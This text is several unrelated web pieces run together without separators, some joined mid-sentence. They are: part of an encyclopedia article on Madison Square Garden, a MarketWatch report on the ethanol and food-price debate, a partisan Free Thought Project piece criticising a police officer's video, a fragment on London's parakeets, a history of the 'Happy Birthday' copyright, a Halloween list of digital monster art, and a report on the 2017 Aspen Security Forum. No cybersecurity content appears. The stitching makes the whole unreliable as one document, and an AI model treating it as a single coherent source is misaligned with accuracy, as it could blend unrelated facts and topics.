As part of the 2011–2013 renovation, the club sections, 100-level and 200-level have been combined to make a new 100-level lower bowl. The 300-level and 400-level were combined and raised 17 feet closer, forming a new 200-level upper bowl. All skyboxes but those on the 7th Avenue end were removed and replaced with balcony seating (8th Avenue) and Chase Bridge Seating (31st Street and 33rd Street). The sky-boxes on the 9th floor were remodeled and are now called the Signature Suites. The sky-boxes on the 7th Avenue end of the 10th Floor are now known as the Lounges. One small section of the 400-level remains near the west end of the arena, and features blue seats. The media booths have been relocated to the 31st Street Chase Bridge.
Capacity [ edit ]
Basketball[45] Years Capacity 1968–1971 19,500 1971–1972 19,588 1972–1978 19,693 1978–1989 19,591 1989–1990 18,212 1990–1991 19,081 1991–2012 19,763 2012–2013 19,033 2013–present 19,812[1] Hockey[46] Years Capacity 1968–1972 17,250 1972–1990 17,500 1990–1991 16,792 1991–2012 18,200 2012–2013 17,200 2013–present 18,006[1]
Hulu Theater [ edit ]
The Hulu Theater at Madison Square Garden seats between 2,000 and 5,600 for concerts and can also be used for meetings, stage shows, and graduation ceremonies. It was the home of the NFL Draft until 2005, when it moved to the Jacob K. Javits Convention Center after MSG management opposed a new stadium for the New York Jets. It also hosted the NBA Draft from 2001 to 2010. The theater also occasionally hosts boxing matches on nights when the main arena is unavailable. The fall 1999 Jeopardy! Teen Tournament as well as a Celebrity Jeopardy! competition were held at the theater. Wheel of Fortune taped at the theater twice in 1999 and 2013. In 2004, it was the venue of the Survivor: All-Stars finale. No seat is more than 177 feet (54 m) from the 30' × 64' stage. The theatre has a relatively low 20-foot (6.1 m) ceiling at stage level[47] and all of its seating except for boxes on the two side walls is on one level slanted back from the stage. There is an 8,000-square-foot (740 m2) lobby at the theater.
Accessibility and transportation [ edit ]
The 7th Avenue entrance to Madison Square Garden and Penn Station, as it appeared in July 2005
Madison Square Garden sits directly atop a major transportation hub in Pennsylvania Station, featuring access to commuter rail service from the Long Island Rail Road and New Jersey Transit, as well as Amtrak. The Garden is also accessible via the New York City Subway. The A, C, and E trains stop at 8th Avenue and the 1, 2, and 3 trains at 7th Avenue in Penn Station. The Garden can also be reached from nearby Herald Square with the B, D, F, M, N, Q, R, and W trains at the 34th Street – Herald Square station as well as PATH train service from the 33rd Street station.
See also [ edit ]
Madison Square Garden Bowl, a former outdoor boxing venue in Queens operated by the Garden company
List of NCAA Division I basketball arenas
References [ edit ]
Notes [ edit ]SAN FRANCISCO (MarketWatch) -- An increasingly bitter public debate over the role that corn-based ethanol has played in driving up food prices is pitting some of the nation's biggest food manufacturers against each other, with hefty U.S. subsidies and mounting commodity costs at stake.
In the past week, meat and poultry producer Tyson Foods Inc. TSN and Pilgrim's Pride Corp. PPC the largest U.S. chicken producer, have lambasted a national standard requiring a certain portion of the nation's transportation fuel come from renewable fuels. They say the standard, which has driven up demand for corn used in ethanol, is the reason why food prices have shot up globally.
Archer Daniels Midland Co. ADM the nation's largest ethanol manufacturer, and smaller Pacific Ethanol Inc. PEIX have defended the gasoline alternative, saying critics are grossly overstating the link between ethanol demand and higher food prices.
"The debate has left the realm of academia and moved into the realm of rough-and-tumble national discussion," said Mark McMinimy, a biofuels analyst at the Stanford Group, a brokerage and wealth manager that follows public policy issues.
"There's a search to find out who's to blame for higher food prices," he added.
Food inflation scapegoat
At issue is the Renewable Fuel Standard, a mandate to increase the volume of renewable fuels blended into gasoline to 7.5 billion gallons by 2012. It was created by 2005 U.S. energy legislation and expanded in last year's energy bill. Blenders of ethanol also get a 51-cent tax credit for every gallon of ethanol they blend.
Most commodities analysts agree that these requirements and financial incentives are one reason farmers planted more corn last year than they had in over six decades. They say ethanol has indeed played a role pushing up corn prices to record highs above $6 a bushel this year.
But most analysts, including senior officials at the U.S. Department of Agriculture, also cite a variety of factors for the run-up in corn and other grains -- including the high price of petroleum, a weak dollar that makes dollar-denominated commodities more pricey, droughts and increasing demand from emerging markets countries for meat and poultry.
Just over two weeks ago, Texas A&M University provided yet more fuel for debate with a study that found higher energy costs, not corn prices, are largely to blame for changes in the agriculture industry.
"This research supports the hypothesis that corn prices have had little to do with rising food costs," it said.
Consternation over higher global food prices reached a fever pitch earlier this month at the World Bank and G7 meetings, with senior officials from some developing nations blaming the United States for supporting biofuels at the expense of the world's poor. Rice prices have gained about 50% in the past year, corn futures have vaulted over 60% and soybean contracts have surged a little less than 80%.
'Misguided'
Some of ethanol's biggest advocates will make their case on Wednesday. The heads of the National Farmers Union, the National Corn Growers Association and the Renewable Fuels Association plan to hold an afternoon press conference in Washington, D.C. to "present the facts" on food price increases.
For Tyson CEO Richard Bond, those facts can be summed up in three words: higher feed costs. Tyson said Monday it anticipates the costs of soybean and corn costs will increase $600 million this year. Since 2006, its outlays on these grains have doubled.
Tyson is raising prices, but not fast enough to keep up with higher input costs, and "it's going to get much worse if we continue down this path of diverting corn to ethanol production," said Bond in a conference call to discuss fiscal second-quarter earnings Monday.
"Congress must put an end to our misguided ethanol policy now," he said.
But Patricia Woertz, the CEO of Archer Daniels Midland, on Tuesday called the attack on biofuels "misguided" and blamed surging food prices on a tight energy supply. See full story
"Retreat from biofuels is just an empty gesture," she said. "That won't fill anybody's stomach and won't fill anybody's gas tanks."
Texas' governor, meanwhile, is trying to get the Environmental Protection Agency to grant the state a partial waiver from complying with the mandate to combine a certain portion of transportation fuel with ethanol. The state is also arguing that the Renewable Fuels Standard is responsible for higher food and feed prices.
Sen. Kay Bailey Hutchison, R-Texas, is getting ready to release a letter signed by at least 20 senators urging the EPA to issue regulations for states to apply for waivers from the ethanol mandate, said Hutchinson spokesman Matt Mackowiak.
Those waivers may be tough to grant, said Stanford Group's McMinimy. Under the 2005 legislation, the EPA, in consultation with the Agriculture Department and Energy Department, can allow states to reduce their production of renewable fuels if they can prove implementing the requirement "would severely harm the economy or environment" or if there is an inadequate domestic supply.
"It doesn't sound like something to be taken lightly," McMinimy said.Spread the love
The police officer who became known on social media after he posted a video on the Dallas police shootings last year, is back with another passionate video in support of local law enforcement. However, some are saying his latest production both ignores statistics and defies common sense.
Lieutenant Charles “Chuck” Wells, who serves in Benton County, Arkansas, begins the video dressed in uniform, with blood smeared across his face. From the scene, it looks like Wells just completed a traffic stop, and suffered some sort of assault. But both the scene and the blood are fake.
Lieutenant Wells, The thin blue line is a little stronger because of you sir, thank you.
Det
SHARE! Posted by Police Officers on Friday, June 23, 2017
The officer addressed all Americans who may encounter his video and asks, “Is what you’re seeing tonight violent enough to make you stop scrolling through Facebook in your attempt to find something funny?” From there, he goes on to broadcast what some have called “Copaganda,” which is propaganda created “Just to get your attention” as Wells described it.
Wells claims that every day in America a cop is “stabbed, gunned down, dragged by a car,” those murders and assaults are “not important enough to barely make the news.”
“To this point today, we’ve lost 27 police officers to gun violence,” Wells stated. That number—however somber it may be and with no disrespect to the grieving families—is inaccurate. In fact, there have been only 23 officers who have lost their lives to firearm-related violence directed towards them.
Wells’s attempt to portray police officers as warriors in a fight for their very existence does not add up. The fact that less than two dozen officers to date have died in the line of duty due to gun violence—when there are over 1 million sworn officers of the peace in America—indicates that being a police officer is one of the safest occupations one could choose.
In fact, law enforcement does not even make the top 10 most dangerous professions in the U.S. According to a CNBC list, loggers have the most dangerous job in America, per 100,000 people in the industry. They’re followed in order by fisherman, pilots, roofers, trash collectors, steel workers, truck drivers, farmers, power-line technicians and landscapers.
The so-called “War on Cops” Wells addresses raised the question—how much of it is warranted by the actions of the officers who abuse their titles, and treat others unjustly?
Take for instance the comment North Miami Beach Police Officer Ericson Harrell wrote as a response to Wells’s diatribe: “Lt. Wells, can you do a video showing how your deputies are trained in the principles of LIFE, LIBERTY and Property Rights!!”
Harrell goes on to echo what The Free Thought Project has routinely exposed, police violate citizens’ constitutional rights on a daily basis. “So sick of police who think they are the #ThinBlueLine arresting moms and dads because they don’t have a license, no insurance, expired registration and many other VICTIMLESS crimes,” he wrote.
The Miami officer, who says he has learned to treat others like human beings, gave Wells some career advice. He said, “HONOR YOUR OATH to support and defend the CONSTITUTION and less people will be looking to do you harm!!”
Wells could only add anecdotal information to support the idea that there is an active war on police officers. In an apparent cry for sympathy, Wells claimed—again without any evidence—that there have been “police officers dragged for blocks who were fighting for their lives. Untold numbers of men and women who’ve been shot…not killed, but shot and fighting for their existence.”
“There is a war in America,” Well claimed. “You may not want to talk about it or let your children see it but there is a war in America.”
We agree with you, Lt. Wells. There is a war in America. There is an information war by police officers who treat people inhumanely; who sexually abuse men, women and children; and who violently assault people for non-violent crimes, even during traffic stops.
In fact, as The Free Thought Project has detailed on countless occasions, being compliant is no guarantee someone will walk away from an encounter with such police officers. Philando Castile is one such victim. He was compliant, and yet still lost his life to a trigger-happy cop who murdered him after Castile revealed that he had a gun in the car and began looking for his license.
The Free Thought Project will continue to expose those police officers, the leadership who stand with them, and the legislation that makes it easier for law enforcement to infringe on civil liberties.
Nevertheless, Wells contends the war on cops is legitimate, despite any real statistics or sources to support his claims. All he can say is, “It’s real to me.”
Embracing the high and mighty drill instructor’s tone of voice, Wells said, “And for every useless scumbag that thinks it’s okay to pull the trigger on one of my teammates, there’s hundreds more, thousands more, who have the same character who are willing to stand in the gap and take that person’s place.”
While Wells appears to have no problem acting as if police have the most dangerous job in America, he ignores to the fact that the prison industrial complex is largely responsible for the animosity directed towards police.
When 10 percent of the U.S. population is behind bars—many of whom were put there because of a plant—there’s bound to be repercussions. When children are growing up fatherless and motherless because their parents are in prison, largely targeted because of their race, as the federal government concluded was occurring in Ferguson, it can create tension and mistrust.
When men like Philando Castile are pulled over nearly 50 times in traffic stops, there’s sure to be some resentment. When men like Eric Garner are attacked by a pack of cops like pit bulls on a wild boar, and die as a result, it is no surprise that people will begin to hate police.
When police officers are having sex with children and teenagers, why should anyone trust them? If officers like Wells truly want to rebuild trust between law enforcement and the citizens they claim to serve, he should start by insisting that his fellow “boys in blue” double the prison time for sex crimes against children, murder, rape, and theft.
What we see now, unfortunately, is a trend of police officers committing serious felonies, getting a paid vacation while an investigation takes place, and then getting off scot-free or with just a slap on the wrist. All the while, police are responsible for killing nearly 1,200 people every year.
Officer Wells continued with a promise saying, “The thin blue line is not going anywhere.” He called on all Americans to stand with police officers and promised his fellow officers, “I’ve got your six and I will be there should you call.”
But what Americans really want to know is, “Does law enforcement have their backs?” Sadly, for the millions who have been arrested for “resisting arrest” or “disobeying a lawful order by a police officer,” they already know the answer to that question.
The mandatory 30-day impoundment of vehicles, civil asset forfeiture schemes, cash confiscation, red-light cameras, safety zones, and DUI checkpoints all prove it is less about fighting crime and more about raising money for police departments. And that’s not to mention the fact that Wells’s home state of Arkansas has 1,500 untested rape kits.
Harrell posted Wells’s video to his own Facebook page with the prefaced statement reading:
“Look at this ‘Thin Blue Line’ propaganda nonsense. Cops create their own hazardous environment when they treat their fellow man like SUBJECTS instead of like FAMILY!! You don’t get rewarded for “JUST DOING YOUR JOB.” #ThePenitentCop”
Following the release of his latest video, Officer Wells has removed his Facebook page. An archive can be found here.It is a well-known resident of the greater London area, roosting communally in large flocks. The population has been increasing steadily, though it remains concentrated in south-east England. Birds are regularly reported elsewhere in Britain, and are likely to be local escapees.
The ring-necked parakeet's native range is a broad belt of arid tropical countryside stretching from west Africa across lowland India south of the Himalayas, where it is a common
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. During the Apollo 9 mission, it became the first song ever officially sung in space.
Despite its accessibility, the song is copyrighted by Warner Music -- a corporation that charges anywhere from $1,500 to $50,000 to use it in movies, television shows, advertisements, and musical birthday cards. But is their copyright claim really valid?
To answer this question, let’s dive into the history of the song.
Who Wrote the Music?
Most musicologists who’ve traced the origins of “Happy Birthday” agree that its musical score dates back to the work of two Kentucky sisters in the late 19th century: Mildred Jane Hill (b.1859), and Patty Smith Hill (b.1868).
After graduating as valedictorian of Louisville Collegiate Institute, Patty went on to be a central figure in the progressive education movement, endorsing hands-on learning techniques and interactive teaching methods. She invented “Patty Hill Blocks” -- a set of large, cardboard bricks that children could use to learn about structural engineering -- and then founded the Institute of Child Welfare Research at Columbia University Teachers College.
In 1889, while serving as a kindergarten teacher at a Kentucky grade school, she began working on a set of childrens’ songs with her older sister Mildred, a well-known organist, composer, and “Negro music” scholar. Four years later, the two released their first collection of tunes in a book titled “Song Stories for the Kindergarten.” Among the songs, was a little ditty entitled “Good Morning to All,” which would later be the source of the sheet music for “Happy Birthday.”
We dug up a copy of the document and have embedded it below (you can find “Good Morning to All” on page 5):
“When my sister Mildred and I began the writing of these songs, we had two motives,” Patty later stated. “One was to provide good music for children. The second was to adapt the music to the little child’s limited ability to sing music of a complicated order.”
Certainly, the song was uncomplicated. After Mildred composed and scored the music, Patty added a set of jolly lyrics, which she sung aloud to her kindergarten class every morning:
Good morning to you,
Good morning to you,
Good morning, dear children,
Good morning to all
At the time, the concept of a “birthday party” was fairly new; the birthday cake had only become popular in the 1850s, and gatherings for young children’s celebrations didn’t pick up steam until the late 1870s, when schools became age-graded. People had developed a need for a proper birthday song -- and “Good Morning To All” was both simplistic and catchy enough to fit the bill.
Sometime in the early 1900s, the Hill sisters’ melody began appearing in a number of songbooks with birthday-themed lyrics -- though nobody knows who re-penned these lyrics, or who was the first person to pair “Good Morning to All” with them.
An early printing of “Good Morning to You” cites it as the same tune as “Happy Birthday to You” ("The Beginners' Book of Songs," The Cable Company, 1912); Source: Robert Brauneis
Over the ensuing two decades, “Good Morning to You” became inexplicably linked with birthday celebrations, and eventually morphed into “Happy Birthday to You.” -- and with the song’s new fame came a slew of copyright issues.
Complex Ownership
The Hill sisters’ book, Song Stories for the Kindergarten (including “Good Morning To All”), had originally been published in 1893 with a man named Clayton F. Summy, who subsequently filed copyright claims for all of its songs. At the time, the Copyright Act of 1831 dictated that a copyright was valid for 28 years, with the possibility of extending it 14 more.
For the first 20-odd years of its copyright life, “Good Morning To All” hardly made any money, but by the time Summy renewed the claim in 1921, the song’s melody had been appropriated as a birthday tune, and was in wide use.
By the early 1930s, Jessica Hill, one of Patty and Mildred’s younger sisters, began to notice that the revamped, birthday-themed “Good Morning to All” was being used across the United States without attribution. When the Broadway musical As Thousands Cheer enlisted the tune in 1933, she decided enough was enough, and filed a copyright lawsuit against its directors.
The New York Times; August 15,1934
Working with Summy, she then published “Happy Birthday (to You)” in 1935, and copyrighted “several versions of the song.” But a few years into this partnership, the Hill sisters realized Summy wasn’t paying them their share of royalties, and formed their own company, The Hill Foundation, Inc. (specifically to “administer their interests in ‘Happy Birthday to You’/’Good Morning to All’). Under this new moniker, they filed a lawsuit against Summy for back royalties.
Ultimately, the Clayton F. Summy Company was granted rights to all “Happy Birthday”/”Good Morning to All” copyrights, and in return, the Hill sisters received a one-third share of all revenues generated by the song.
Here’s where things get a bit complex.
When Clayton F. Summy passed away in 1932, his business -- including these copyright claims -- was bought by an accountant named John F. Sengstack. In 1957, Sengstack’s son took over, made some acquisitions, and renamed the company the Summy-Birchard Company. Around the 1970s, this company fell under a division of Birchtree, Ltd., a music education firm. Finally, in 1988, Birchtree was sold to Warner Communications Inc. for $25 million (executives at Warner later said “Happy Birthday” represented about “one-third” of this transaction).
From here, Warner merged with Time, Inc. in 1990, then Time-Warner Inc. was purchased by America Online in 2000, to form AOL Time-Warner. A decade later, Time Warner sold its music division to independent investors, who then formed Warner Music Group.
Long story short: today, the copyright to “Happy Birthday (to You)” resides under the control of Warner/Chappell Music Inc., WMG’s publishing arm.
In the midst of this, the copyright to “Happy Birthday” was extended twice -- first under the Copyright Act of 1976 (which protected it for 75 years from date of publication), and subsequently under the Copyright Term Extension Act in 1998 (which added another 20 years, validating the copyright until 2030).
Over time, the copyright has proven to be incredibly lucrative for its holders. Warner/Chappell, who charges anywhere from $1,500 to $50,000 to use the song in movies, radio spots, and ads, is reported to make some $2 million a year off of the song:
As reported in Robert Brauneis’ history of “Happy Birthday,” using numbers from Jessica Hill’s will, and revenue statements
Through a series of renewals, Warner/Chappell claims to own the copyright until 2030 -- and until then, the company plans to continue aggressively protecting it.
Don’t worry, you can still sing it in the shower. Warner/Chappell only sends out bills when the song is used commercially, or for public performances (defined under current copyright law as “a place open to the public, or any place where a substantial number of persons outside of a normal circle of a family and its social acquaintances is gathered”).
Validity of Copyright
There’s an interesting twist to all of this: despite raking in millions off of “Happy Birthday,” strong evidence exists that Warner/Chappell may not even own the copyright to the song.
In the opinion of law professor Robert Brauneis, who wrote a 68-page article on the song’s copyright history, the song belongs to everyone -- and Warner/Chappell’s copyright claim is invalid.
Brauneis cites several “principal weaknesses” in the copyright. First, he says the copyright to the song was apparently never renewed after 1963, and is therefore part of the public domain. “The only renewals filed were for particular arrangements of the song – piano accompaniments and additional lyrics that are not in common use,” he clarifies. “It is unlikely that these renewals suffice to preserve copyright in the song.”
Second, and more importantly, a copyright holder can only claim ownership “if it can trace its title back to the author or authors of the song.” While it is clear that Patty and Mildred Hill wrote and composed “Good Morning to All,” there is no conclusive evidence pointing to the author of the “Happy Birthday” variation.
“It is almost certainly no longer under copyright,” he writes. “The melody of the song was most likely borrowed from other popular songs of the time, and the lyrics were likely improvised by a group of five and six-year-old children who never received any compensation.”
The Current State of the Song
In 2012, filmmaker Jennifer Nelson was in the midst of producing a documentary about the origins of “Happy Birthday,” when she received a notice that, in order to use the song, she’d have to pay Warner/Chappell $1,500. She paid the fee, but then got curious about the copyright’s validity.
“Before I began my filmmaking career, I never thought the song was owned by anyone,” she told The New York Times. “I thought it belonged to everyone.” After doing some research, she determined that the song was just a “public adaptation” of “Good Morning to All,” and therefore “belongs to the public, and needs to go back to the public.”
Under her aptly-named company, Good Morning to You Productions, she filed a class-action lawsuit against Warner/Chappell, demanding that they return decades of royalties to what she deems to be “unfairly charged” users.
You can click this image to read through the full lawsuit document
In the suit, Nelson and her lawyers allege that Warner/Chappell has “wrongfully and unlawfully...silenced those wishing to record or perform [the song], or has extracted millions of dollars in licensing fees from those unable to challenge its ownership claims.”
Among the suit’s citations is a book published by the Board of Sunday Schools of the Methodist Episcopal Church in 1911, which contains the modern lyrics to “Happy Birthday” alongside the “Good Morning to All” music. The religious school allegedly filed a copyright application on this combination in 1912, rendering Warner/Chappell’s copyright claim void.
Despite this apparent evidence, many experts speculate that Warner is too big to lose.
The sad truth is that challenging Warner in any capacity is neither cost effective nor promising: the goliath company has “strong financial incentive” to keep its copyright protected and out of the public domain -- and, at least until 2030, it intends to do just that.
***
UPDATE (9/22/2015)
On September 22, 2015, a federal judge in California ruled Warner/Chappell Music's copyright claim invalid!
"Because the Clayton F. Summy Company never acquired the rights to the Happy Birthday lyrics," said U.S. District Judge George H. King, [Warner] do not own a valid copyright in the Happy Birthday lyrics." He continued:
"[Warner] asked us to find that the Hill sisters eventually gave Summy Co. the rights in the lyrics to exploit and protect, but this assertion has no support in the record. The Hill sisters gave Summy Co. the rights to the melody, and the rights to piano arrangements based on the melody, but never any rights to the lyrics."
Barring a change in heart at an appellate court, this ruling ends the three-year struggle of filmmaker Jennifer Nelson to strip Warner of its rights to the song. As of now, the company will no longer profit from licensing it, and it is free to use in television and the movies.
For those interested in more information, the full legal document can be read here.
This post was written by Zachary Crockett. You can follow him on Twitter here.
To get occasional notifications when we write blog posts, please sign up for our email list.October 29th, 2014
Posted on Oct 29, 2014 by Juste Semetaite
Some clinicians believe that having nightmares is a sort of therapy, a way to deal with traumatic events and stress. But if you were blessed with a reasonably sweet night's sleep, we suggest you don't scroll down, because these out-of-hell creatures and too vivid nightmare scenes will rob you of hours and hours of pleasant Zzz's. With Halloween fast approaching, we decided to descend into the deepest and darkest fantasies of 20+ digital artists from around the globe, gathering a collection of scariest beasts we never want to meet in our nightmares however therapeutic that might be...
1. Aphex Twin - Windowlicker Tribute by Daniel Hennies and Phil Amelung. Whatever the hell this was supposed to be, it's doing a splendid job making the notion of twins seem more creepy than cute...
Software: Pixologic, ZBrush, Maxon CINEMA 4D, Solid Angle Arnold
2. ASH by Yang Xueguo. Apparently, it took the artist only 3 days to go to hell and back, as, you will probably agree, this painting looks like a postcard from the kingdom of suffering!
What the artist says: Zdzislaw Beksinski is my favorite artist. I wanted to use this new work to tribute him. All painted in Photoshop in 3 days!
3. Dogs by Laurent Pierlot. I guess that's how the really evil version of Gru from "Despicable Me" looks like. Thankfully, the producers found it too raw to run on the big screens. Rats, demonic dogs and a vicious professor - that's quite a rich nightmare...
Software: Zbrush, 3ds Max, Photoshop
4. Concept Art Illustration 15 by Kouji Tajima. One thing we can be sure of when looking at this slowly melting skull is that someone did really well pissing it off. According to the usual nightmare scenario, it's not too difficult to imagine that those vampire fangs are designed to sink into the soft human flesh.
Software: Zbrush
5. Mysterious sculpture by Tomasz Strzalkowski. Researchers have found that fear is not the prominent emotion in nightmares. According to various studies, it's more often feelings of sadness, guilt and confusion that send us into the realms of dark fantasies. Given the blue tones and the eyeless face, this mysterious beast would make a good illustration of overflowing sadness.
Software: Zbrush, Photoshop
6. Frankenstein's Monster by Peter Zoppi. Remember yourself after a wild night out? It's one of the scariest zombies you don't ever want to meet, and doesn't matter how many times you have promised yourself that it won't happen again, the monster keeps getting loose...
Software: Maya, Mental Ray, Photoshop
7. Concrete 7 by Xueguo Yang. Although the warm tones are quite pleasant to the eye, the stillness, surrealistic concept and lifeless faces make this painting one hell of a creepy sight.
Software: Photoshop
8. Zombie by Saad Irfan. You know when you take a #noFilter #allNatural selfie and this happens? That's when you realize that nightmares are not so bad as long as you get to wake up from them.
Software: Zbrush and Photoshop
9. Concrete1 by Xueguo Yang. Humans dream around 2 to 3 hours in a whole night. Fancy spending that much time in this weird underworld?
Software: Photoshop
10. Spikehead by Alex Vasin. If you look at it long enough, a bird's face with two eyes and a beak emerges. And then you just can't unsee it.
11. Firestorm by Eugene Gittsigrat. Do you ever get those nightmares where you're being chased by a terrifying beast or shot at, but your feet are so heavy that you move in slow motion? Well, try to imagine yourself getting away from Firestorm.
Software: Autodesk Maya, NUKE, Arnold Render, MARI and Zbrush
12. The Fallen by John Kearney. Lucifer in one of his ghastly forms?
Software: Photoshop
13. Create past by Andrey Bobir. The fact that 90% of the dream is lost the minute we wake up is quite soothing...
Software: 3ds Max and Photoshop
14. Zombie Claus by Kerem Beyit. Be a good boy or a zombie Claus will come to you in your sleep this year...
Software: Photoshop
15. Inter-dimensional Predator by Greg Petchkovsky. Is that how alien marshmallows look like? What a treat, right?
What the author says: I was pretty strongly influenced by a painting by Dave King and by a Japanese sculptor Takayuki Takeya.
16. Portrait of The Demon Guard by Julianna Kolakis. Done in XSI, Mudbox, Zbrush, Photoshop and Mental Ray, this demon guard is one of the creatures you'll want to avoid in your dreams.
What the author says: The Demon Guard is half demon-half snake, and was the one in charge of the huge plot to capture an ancient beast, which belongs to The Goddess Sovanna. He keeps the beast hostage waiting for the right opportunity to destroy Sovanna, as she is slowly being lead into his perfect trap…
17. Lady van Reuzel by Filip Novy. In no way this ugly looking thing deserves the "lady" status, but let her have it as long as she stays out of my head.
Software: 3ds Max, Mental Ray, Photoshop, Zbrush
18. Them Dark Odors by Joel Sundberg. The author is rather kind to the mutants: "these are some creatures that I came up with some time ago and I call them “Dark Odors”. They are a bit shy to the light and prefer dark places. They live among us but we normally don't see them..." When you say they live among us?..
Software: Maya, Mental Ray, Photoshop, Zbrush
19. Hello, monster by Kyungup Hyun. The story behind this painting is that the girl gets lost and discovers a huge monster deep inside a mountain cave. She possesses some magical powers and is able to cure the monster's wicked mind. They become friends. The end. Still, how about not unraveling this story in your dreams?
Software: 3ds Max and Photoshop
20. Zombie by Raoni Nery. To say it's a sickening sight would be an understatement.
Software: 3ds Max, After Effects, Photoshop, VRay, Zbrush
21. Mysterious Sculpture by Tomaz Strzalkowski. It seems like either he's having a hard time keeping his head up or the king's crown is way to heavy...
Software: Zbrush, Photoshop
22. Elephant Man by Adam Skutt. When you're trying to imagine your frenemy's personality taking a human shape... Don't ever do that.
Software: Maya, mental ray, Photoshop, Zbrush
23. Mystery by Tomasz Strzalkowski. Could this be another terrifying version of death?
Software: Zbrush, Photoshop
24. Mr. Butcher by Izabela Zelmańska. All the pleasantries aside, this is one mister you wouldn't waste your time talking to about the poor weather. No wonder some people develop fear of sleeping...
Software:
25. Sewer Dwelling Monster by Federico Scarbini. If a spider sends you into a frenzy, imagine meeting this guy in a dark, clammy corner of your consciousness...
Software: Maya, Mental Ray, Photoshop, Zbrush
]
26. Puker, Dead Space 2 by Izabela Zelmańska. Allow us to introduce you to Izabela's version of "the Puker". Have fun falling asleep.
Software: Zbrush, Photoshop
27. Pig Slaughter by Nicolas Crombez. That's more or less how vegetarians see all the meat lovers.
Software: Lightwave 3d, Photoshop
28. Monster Skull by Pablo Viggiano. Obviously, the dental care in other planets is not a priority. But when this guy haunts you in your dreams, try to think of something else to say.
29. Tower of evil by Xueguo Yang. It's a bit like descending into a highly active volcano...
Software: Photoshop
Don't say we haven't warned you... Happy Halloween!ASPEN, Colorado—Like escaped malware destructive beyond its creator’s wildest dreams, Russia’s campaign to influence the U.S. presidential election is now ripping through the mostly apolitical U.S. national security community—with President Donald Trump’s warmth toward Moscow dividing professionals who have worked in both Democratic and Republican administrations from those laboring to prove their loyalty to Team Trump.
“Sometimes I wonder whether what he’s about is making Russia great again,” former Director of National Intelligence Jim Clapper said at the widely attended Aspen Security Forum, of Trump’s overtures to Moscow and half-hearted dissing of Russian election interference.
“They’ve been at this a long time and I don’t think they have any intention of backing off,” said CIA Director Mike Pompeo, articulating what was to become a much-repeated Trump maxim: that Russian election interference is annoying but unremarkable, while the real enemies are Iran, ISIS, and the U.S. press corps.
The tensions between current and former national security chiefs reflect the deepening divide in Washington, D.C., between those who see possible collusion in the Trump campaign’s dealings with Russia, and those—including the president—who call it a witch hunt that’s keeping the White House from moving ahead on improving relations with Moscow to step up the counterterrorism fight.
White House Communications Director Anthony Scaramucci confirmed Trump’s continued skepticism over his own intelligence community’s conclusion that Moscow tried to influence the polls. “He basically said to me, ‘Hey you know, this is, maybe they did it, maybe they didn’t do it,’” Scaramucci told CNN Sunday.
The heightened strain in Aspen reflects the increasing difficulty for defense and intelligence professionals who want to build new defenses against Russian influence and step up the fight against ISIS without seeing either through a political lens.
Some Trump officials who had served in previous administrations walked a fine of exhorting their own successes while also extolling the achievements of President Barack Obama, likely aware the boss was watching or was at least aware his top national security officials were lining up to explain and defend his White House.
Trump tweeted an approving reference to an interview with Special Operations Commander Gen. Tony Thomas, who said a leak to the media allowed ISIS leader Abu Bakr al-Baghdadi to escape. Trump identified the media organization as The New York Times, a charge that the Times has strenuously denied.
Yet former Bush-turned-Trump counterterrorism official Thomas Bossert dared a gracious tip of the hat to the Obama team.
“What we are doing is building on last two administration's efforts not contrary to them, not diminishing them… and I promised a lot of people I would say this because I mean it: I want to say thank you to the Obama team,” said Bossert, who succeeded Lisa Monaco as the assistant to the president for homeland security and counterterrorism.
“That doesn’t mean they got everything right,” he added, describing the Trump counterterrorism program as more decentralized, pushing more authority closer to the battlefield to make decisions on strikes. He also vaguely described what sounded like an expansion of lethal targeting directed against anyone involved in a terrorist network rather than the Obama administration’s insistence on building legal cases against suspected terrorists outside designated war zones.
That could mean loosening restrictions on who gets targeted and where, but Bossert insisted the Trump administration would continue to work by, with and through local governments as the Obama team did, and respect the laws of war when it came to collateral damage. He again saluted the Obama administration for codifying targeting procedures to protect civilians, saying unnecessary casualties turn populations against U.S. troops—a departure from Trump’s campaign promise to “bomb the hell out of ISIS,” including targeting terrorists’ families.
“Our standards are based on those bedrock principles,” he said. “We’re primarily rewriting them to address who makes the decision, not what the standard is.”
He offered equal praise for the Obama team’s hostage policy, which was based on input from families of missing Americans like former FBI agent Robert Levinson, who went missing in Iran in 2007.
There were no such generous tips of the hat to the Obama administration from CIA chief Pompeo, whose combative tone angered current and former administration officials attending the conference, and was in part blamed for the fiery riposte later by former CIA chief John Brennan and Director of National Intelligence Clapper.
Pompeo dismissed Russian election meddling as routine, and instead attacked what he saw as the Obama administration’s failure to act against Iranian aggression in deference to their prized nuclear deal with Iran; against North Korean leader Kim Jong Un, lumping them among past U.S. administrations who “whistled past the graveyard” on North Korea, allowing it to develop both intercontinental ballistic missiles and an ever-more sophisticated nuclear weapons program. He also claimed the Obama administration opted to “allow Russia to enter into Syria,” to prop up Syrian leader Bashar al-Assad, and he accused the Obama team of allowing Moscow to take the lead in negotiating the dismantling of Syrian weapons of mass destruction.
And Pompeo kept his answers on Russian election interference brief, dismissing the actions during the last election as just a stepped-up version of a decades-long campaign. “It is true, yeah, of course,” he said.
Director of National Intelligence Dan Coats repeated the theme of downplaying the Russian disinformation campaign. “Is anybody shocked that the Russians are trying to influence how we think?” he asked. “I grew up being told the Russians are trying to influence how we think,” he said, explaining their fall campaign as more effective because of the technological advances and speed of the information age.
“They’re trying to undermine western democracy,” he added, in contrast to his commander in chief’s more moderate tone on Moscow.
That message might not be well received according to Pompeo, who hinted at some friction with the president when presenting information about Russian interference. “You should know, it is not unheard of for those policymakers to question the work that we do,” he said. “You don’t always convince a policymaker of the way you see things.” But he insisted the Trump administration is going to be firmer with Russia than Team Obama.
Clapper and Brennan responded to the attacks on their efforts by pronouncing the Russian connections between the Trump campaign as the height of naiveté, or something much darker.
“When I think of all the negative things he said about the intelligence community and I think about all the things he said about Putin and Russia, that seems to be incongruous,” Brennan said, harkening back to Trump’s tweet describing alleged leaks to the intelligence community as akin to Nazis.
Clapper called the overtures by a Russian lawyer offering “dirt” on Hillary Clinton to Donald Trump Jr. as a “typical Soviet tradecraft approach” to see if they were interested or able to be influenced, whether they were “witting or not.”
The two men said if they were still in charge, they’d review and possibly pull Trump adviser and son-in-law Jared Kushner’s security clearance for failing to disclose some of his contacts with Russians, terming it part of a pattern of questionable behavior by Trump campaign officials.
“That people will sometimes go down a treasonous path doesn’t mean that they will commit treason, it’s just that they’re along that line,” Brennan said. “Thankfully, the smart people when they realize that say ‘wait a minute, I need to report this to the authorities.’” He said the Trump campaign’s failure to do that is what the FBI is investigating.
